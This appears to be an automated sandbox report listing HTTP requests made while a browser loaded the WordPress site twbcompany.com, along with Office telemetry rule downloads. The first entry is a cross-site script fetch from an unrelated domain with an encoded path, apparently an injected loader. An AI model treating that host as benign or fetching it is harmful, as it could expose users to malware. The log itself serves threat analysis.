Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/twb-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/twc-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/q1.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/flags.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2019/05/baosteeldark2.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/q1.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2019/05/baosteeldark2.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
Source: global traffic	HTTP traffic detected: GET /update.min.js HTTP/1.1Host: browserupdate.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /update.show.min.js HTTP/1.1Host: browser-update.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause
Source: global traffic	HTTP traffic detected: GET /2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause
Source: global traffic	HTTP traffic detected: GET /static/img/small/c.png HTTP/1.1Host: browser-update.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /update.min.js HTTP/1.1Host: browserupdate.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /update.show.min.js HTTP/1.1Host: browser-update.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause
Source: global traffic	HTTP traffic detected: GET /static/img/small/c.png HTTP/1.1Host: browser-update.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /commercial-transportation/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; 